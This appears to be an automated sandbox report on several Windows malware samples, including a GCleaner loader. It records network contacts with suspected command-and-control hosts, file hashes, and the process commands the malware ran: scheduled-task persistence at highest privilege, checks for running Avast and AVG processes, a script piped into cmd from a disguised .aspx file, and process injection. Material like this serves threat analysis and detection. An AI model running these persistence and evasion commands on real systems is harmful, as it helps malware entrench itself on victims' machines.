US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp
US 8.8.8.8:53 2.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 www.filifilm.com.br udp
US 8.8.8.8:53 www.filifilm.com.br udp
US 8.8.8.8:53 www.filifilm.com.br udp
US 8.8.8.8:53 www.filifilm.com.br udp
US 8.8.8.8:53 www.filifilm.com.br udp
US 8.8.8.8:53 212.20.149.52.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 98.117.19.2.in-addr.arpa udp
US 8.8.8.8:53 www.filifilm.com.br udp
US 8.8.8.8:53 www.filifilm.com.br udp
US 8.8.8.8:53 www.filifilm.com.br udp
US 8.8.8.8:53 www.filifilm.com.br udp
US 8.8.8.8:53 www.filifilm.com.br udp
US 8.8.8.8:53 www.filifilm.com.br udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 www.filifilm.com.br udp
US 8.8.8.8:53 www.filifilm.com.br udp
US 8.8.8.8:53 www.filifilm.com.br udp
US 8.8.8.8:53 www.filifilm.com.br udp
US 8.8.8.8:53 www.filifilm.com.br udp
US 8.8.8.8:53 www.filifilm.com.br udp
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 www.filifilm.com.br udp
US 8.8.8.8:53 www.filifilm.com.br udp
US 8.8.8.8:53 www.filifilm.com.br udp
US 8.8.8.8:53 www.filifilm.com.br udp
US 8.8.8.8:53 www.filifilm.com.br udp
US 8.8.8.8:53 www.filifilm.com.br udp
US 8.8.8.8:53 www.filifilm.com.br udp
US 8.8.8.8:53 www.filifilm.com.br udp
US 8.8.8.8:53 www.filifilm.com.br udp
US 8.8.8.8:53 www.filifilm.com.br udp
US 8.8.8.8:53 www.filifilm.com.br udp
US 8.8.8.8:53 udp

Files

memory/3448-5-0x000000007506E000-0x000000007506F000-memory.dmp

memory/3448-6-0x0000000000AE0000-0x0000000000AE8000-memory.dmp

memory/3448-7-0x000000007506E000-0x000000007506F000-memory.dmp

memory/3448-8-0x0000000075060000-0x0000000075810000-memory.dmp

memory/3448-9-0x0000000075060000-0x0000000075810000-memory.dmp

Analysis: behavioral4

Detonation Overview

Submitted

2024-11-06 17:46

Reported

2024-11-06 17:48

Platform

win7-20241010-en

Max time kernel

121s

Max time network

123s

Command Line

"C:\Users\Admin\AppData\Local\Temp\PL\Service.exe"

Signatures

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A pastebin.com N/A N/A
N/A pastebin.com N/A N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\PL\Service.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\PL\Service.exe

"C:\Users\Admin\AppData\Local\Temp\PL\Service.exe"

C:\Windows\SysWOW64\schtasks.exe

schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST

C:\Windows\SysWOW64\schtasks.exe

schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST

Network

Country Destination Domain Proto
US 8.8.8.8:53 telegram.org udp
NL 149.154.167.99:443 telegram.org tcp
NL 149.154.167.99:443 telegram.org tcp
US 8.8.8.8:53 twitter.com udp
US 104.244.42.1:443 twitter.com tcp
US 104.244.42.1:443 twitter.com tcp
US 8.8.8.8:53 yandex.ru udp
RU 77.88.44.55:443 yandex.ru tcp
US 8.8.8.8:53 dzen.ru udp
RU 62.217.160.2:443 dzen.ru tcp
US 8.8.8.8:53 sso.passport.yandex.ru udp
RU 93.158.134.144:443 sso.passport.yandex.ru tcp
FI 163.123.143.4:80 163.123.143.4 tcp
NL 107.182.129.251:80 107.182.129.251 tcp
US 8.8.8.8:53 pastebin.com udp
US 172.67.19.24:443 pastebin.com tcp
US 8.8.8.8:53 wfsdragon.ru udp
US 172.67.133.215:80 wfsdragon.ru tcp
US 8.8.8.8:53 softs-portal.com udp
FI 163.123.143.12:80 163.123.143.12 tcp
FI 163.123.143.12:80 163.123.143.12 tcp
FI 163.123.143.12:80 163.123.143.12 tcp
FI 163.123.143.12:80 163.123.143.12 tcp
FI 163.123.143.12:80 163.123.143.12 tcp
FI 163.123.143.12:80 163.123.143.12 tcp
FI 163.123.143.12:80 163.123.143.12 tcp
FI 163.123.143.12:80 163.123.143.12 tcp
FI 163.123.143.12:80 163.123.143.12 tcp
FI 163.123.143.12:80 163.123.143.12 tcp
US 8.8.8.8:53 vipsofts.xyz udp

Files

N/A

Analysis: behavioral6

Detonation Overview

Submitted

2024-11-06 17:46

Reported

2024-11-06 17:48

Platform

win10v2004-20241007-en

Max time kernel

148s

Max time network

151s

Command Line

"C:\Users\Admin\AppData\Local\Temp\PL\Une1.exe"

Signatures

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\PL\Une1.exe N/A

Enumerates processes with tasklist

discovery
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\tasklist.exe N/A
N/A N/A C:\Windows\SysWOW64\tasklist.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 3096 set thread context of 1164 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\tasklist.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\tasklist.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\PL\Une1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\find.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\find.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\findstr.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\PING.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\PING.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\at.exe N/A

System Network Configuration Discovery: Internet Connection Discovery

discovery
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\PING.EXE N/A
N/A N/A C:\Windows\SysWOW64\PING.EXE N/A
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\PING.EXE N/A
N/A N/A C:\Windows\SysWOW64\PING.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\tasklist.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2776 wrote to memory of 3064 N/A C:\Users\Admin\AppData\Local\Temp\PL\Une1.exe C:\Windows\SysWOW64\at.exe
PID 2776 wrote to memory of 3064 N/A C:\Users\Admin\AppData\Local\Temp\PL\Une1.exe C:\Windows\SysWOW64\at.exe
PID 2776 wrote to memory of 3064 N/A C:\Users\Admin\AppData\Local\Temp\PL\Une1.exe C:\Windows\SysWOW64\at.exe
PID 2776 wrote to memory of 1052 N/A C:\Users\Admin\AppData\Local\Temp\PL\Une1.exe C:\Windows\SysWOW64\cmd.exe
PID 2776 wrote to memory of 1052 N/A C:\Users\Admin\AppData\Local\Temp\PL\Une1.exe C:\Windows\SysWOW64\cmd.exe
PID 2776 wrote to memory of 1052 N/A C:\Users\Admin\AppData\Local\Temp\PL\Une1.exe C:\Windows\SysWOW64\cmd.exe
PID 1052 wrote to memory of 2304 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 1052 wrote to memory of 2304 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 1052 wrote to memory of 2304 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 2304 wrote to memory of 440 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\tasklist.exe
PID 2304 wrote to memory of 440 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\tasklist.exe
PID 2304 wrote to memory of 440 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\tasklist.exe
PID 2304 wrote to memory of 4852 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\find.exe
PID 2304 wrote to memory of 4852 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\find.exe
PID 2304 wrote to memory of 4852 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\find.exe
PID 2304 wrote to memory of 1928 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\tasklist.exe
PID 2304 wrote to memory of 1928 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\tasklist.exe
PID 2304 wrote to memory of 1928 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\tasklist.exe
PID 2304 wrote to memory of 1116 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\find.exe
PID 2304 wrote to memory of 1116 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\find.exe
PID 2304 wrote to memory of 1116 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\find.exe
PID 2304 wrote to memory of 4264 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 2304 wrote to memory of 4264 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 2304 wrote to memory of 4264 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 2304 wrote to memory of 3096 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif
PID 2304 wrote to memory of 3096 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif
PID 2304 wrote to memory of 3096 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif
PID 2304 wrote to memory of 1240 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\PING.EXE
PID 2304 wrote to memory of 1240 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\PING.EXE
PID 2304 wrote to memory of 1240 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\PING.EXE
PID 1052 wrote to memory of 4132 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\PING.EXE
PID 1052 wrote to memory of 4132 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\PING.EXE
PID 1052 wrote to memory of 4132 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\PING.EXE
PID 3096 wrote to memory of 2860 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif
PID 3096 wrote to memory of 2860 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif
PID 3096 wrote to memory of 2860 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif
PID 3096 wrote to memory of 2412 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif
PID 3096 wrote to memory of 2412 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif
PID 3096 wrote to memory of 2412 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif
PID 3096 wrote to memory of 1776 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif
PID 3096 wrote to memory of 1776 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif
PID 3096 wrote to memory of 1776 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif
PID 3096 wrote to memory of 4484 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif
PID 3096 wrote to memory of 4484 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif
PID 3096 wrote to memory of 4484 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif
PID 3096 wrote to memory of 3508 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif
PID 3096 wrote to memory of 3508 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif
PID 3096 wrote to memory of 3508 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif
PID 3096 wrote to memory of 1164 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif
PID 3096 wrote to memory of 1164 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif
PID 3096 wrote to memory of 1164 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif
PID 3096 wrote to memory of 1164 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif
PID 3096 wrote to memory of 1164 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif

Processes

C:\Users\Admin\AppData\Local\Temp\PL\Une1.exe

"C:\Users\Admin\AppData\Local\Temp\PL\Une1.exe"

C:\Windows\SysWOW64\at.exe

at 3874982763784yhwgdfg78234789s42809374918uf

C:\Windows\SysWOW64\cmd.exe

cmd /c cmd < Film.aspx & ping -n 5 localhost

C:\Windows\SysWOW64\cmd.exe

cmd

C:\Windows\SysWOW64\tasklist.exe

tasklist /FI "imagename eq AvastUI.exe"

C:\Windows\SysWOW64\find.exe

find /I /N "avastui.exe"

C:\Windows\SysWOW64\tasklist.exe

tasklist /FI "imagename eq AVGUI.exe"

C:\Windows\SysWOW64\find.exe

find /I /N "avgui.exe"

C:\Windows\SysWOW64\findstr.exe

findstr /V /R "^otPcqYaF$" Deliver.aspx

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif

Tanks.exe.pif A

C:\Windows\SysWOW64\PING.EXE

ping localhost -n 5

C:\Windows\SysWOW64\PING.EXE

ping -n 5 localhost

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif

Network

Country Destination Domain Proto
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 77.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 140.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 bDIATguLPNddTCYKKaxjQJVwvtXO.bDIATguLPNddTCYKKaxjQJVwvtXO udp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
NL 109.206.241.33:80 tcp
NL 109.206.241.33:80 tcp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
NL 109.206.241.33:80 tcp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
NL 109.206.241.33:80 tcp
NL 109.206.241.33:80 tcp
NL 109.206.241.33:80 tcp
NL 109.206.241.33:80 tcp
NL 109.206.241.33:80 tcp
NL 109.206.241.33:80 tcp
NL 109.206.241.33:80 tcp
NL 109.206.241.33:80 tcp
US 8.8.8.8:53 79.190.18.2.in-addr.arpa udp
NL 109.206.241.33:80 tcp
NL 109.206.241.33:80 tcp
NL 109.206.241.33:80 tcp
NL 109.206.241.33:80 tcp
NL 109.206.241.33:80 tcp
NL 109.206.241.33:80 tcp
NL 109.206.241.33:80 tcp
NL 109.206.241.33:80 tcp
NL 109.206.241.33:80 tcp
US 8.8.8.8:53 23.236.111.52.in-addr.arpa udp
NL 109.206.241.33:80 tcp
NL 109.206.241.33:80 tcp
NL 109.206.241.33:80 tcp
NL 109.206.241.33:80 tcp
NL 109.206.241.33:80 tcp
NL 109.206.241.33:80 tcp
NL 109.206.241.33:80 tcp
NL 109.206.241.33:80 tcp
NL 109.206.241.33:80 tcp
NL 109.206.241.33:80 tcp
NL 109.206.241.33:80 tcp
NL 109.206.241.33:80 tcp
NL 109.206.241.33:80 tcp
NL 109.206.241.33:80 tcp
NL 109.206.241.33:80 tcp
NL 109.206.241.33:80 tcp
NL 109.206.241.33:80 tcp

Files

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Film.aspx

MD5 8eb593f08a4cca9959a469af6528ac0d
SHA1 8f4ae3c90b6d653eb75224683358f12dfc442dca
SHA256 7903967eca6727d611e46d666d2871d4438e9bc65ea185e01787c8a8a3e5ce70
SHA512 631403ca6e37a317158ba583e5b0f05e83157abc4cb4865f8d0d8f6e11ef39ab150fe948961aebcaff5c01ace0345ca6dc3882306ab0ce84eec6c1dfdf822ca9

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Deliver.aspx

MD5 701381da8e4a87f18a22b98eee09a22b
SHA1 f5ff5c1714155b853a8335b1d359a010c012c596
SHA256 8b21bc4f93cc9a8438ec08d1385f2d7dead6291a741fdfe7b6960c9f9917f6b3
SHA512 55ef35ce31c1fac2ff91efb3b4a5f646f3cfc7a0c4592f9da3e444a6472203608e224cf55dfa5c79025247c41aa8cbad759ef65dee9f95fe5c244dee239dc141

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Accurate.aspx

MD5 ffc713ff8173dac3c96bc583eb916705
SHA1 3c1b3e1eb258e304722ecc876820a470d491467d
SHA256 8d9c5d3eb7d4bfeb8ab1c5f4dde38dea52624ed80b188648fbab2ada88505ae4
SHA512 8af86a88e0bb60941ec5a55678c97f9a25518f2e140fc2e792115cb653b5f5a745630d970492565944116f3c5e5dc053c22b60ad8287ce5b921e47371125bc8f

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tanks.exe.pif

MD5 6987e4cd3f256462f422326a7ef115b9
SHA1 71672a495b4603ecfec40a65254cb3ba8766bbe0
SHA256 3e26723394ade92f8163b5643960189cb07358b0f96529a477d37176d68aa0a0
SHA512 4b1d7f7ffee39a2d65504767beeddd4c3374807a93889b14e7e73db11e478492dec349aedca03ce828f21a66bb666a68d3735443f4249556e10825a4cd7dfeb4

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\xEvsgieS.dll

MD5 4f3387277ccbd6d1f21ac5c07fe4ca68
SHA1 e16506f662dc92023bf82def1d621497c8ab5890
SHA256 767a3fc4a7a6818cdc3f0b99aaa95db694f6bcde719d2057a88b3d4df3d74fac
SHA512 9da199ac69e3c0d4e0c6307e0ab8178f12cc25cb2f14c3511f6b64e6e60a925c860f3263cb38353a97b55a71ef4d27f8cb7fa3cfc08e7c1a349fd8d209dfa219

memory/1164-38-0x0000000000400000-0x0000000000435000-memory.dmp

memory/1164-45-0x0000000000400000-0x0000000000435000-memory.dmp

memory/3096-46-0x0000000000170000-0x000000000025B000-memory.dmp

memory/1164-47-0x0000000000170000-0x000000000025B000-memory.dmp

Analysis: behavioral9

Detonation Overview

Submitted

2024-11-06 17:46

Reported

2024-11-06 17:48

Platform

win7-20240903-en

Max time kernel

142s

Max time network

147s

Command Line

"C:\Users\Admin\AppData\Local\Temp\PL\setup.exe"

Signatures

GCleaner

loader gcleaner

Gcleaner family

gcleaner

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\PL\setup.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\PL\setup.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\PL\setup.exe

"C:\Users\Admin\AppData\Local\Temp\PL\setup.exe"

Network

Country Destination Domain Proto
US 208.67.104.97:80 tcp
US 208.67.104.97:80 tcp
US 208.67.104.97:80 tcp
US 208.67.104.97:80 tcp
US 208.67.104.97:80 tcp
US 208.67.104.97:80 tcp
US 208.67.104.97:80 tcp

Files

memory/2464-1-0x00000000005B0000-0x00000000006B0000-memory.dmp

memory/2464-2-0x0000000000250000-0x000000000028F000-memory.dmp

memory/2464-3-0x0000000000400000-0x0000000000443000-memory.dmp

memory/2464-4-0x00000000005B0000-0x00000000006B0000-memory.dmp

memory/2464-5-0x0000000000250000-0x000000000028F000-memory.dmp

memory/2464-6-0x0000000000400000-0x000000000045E000-memory.dmp

memory/2464-7-0x0000000000400000-0x0000000000443000-memory.dmp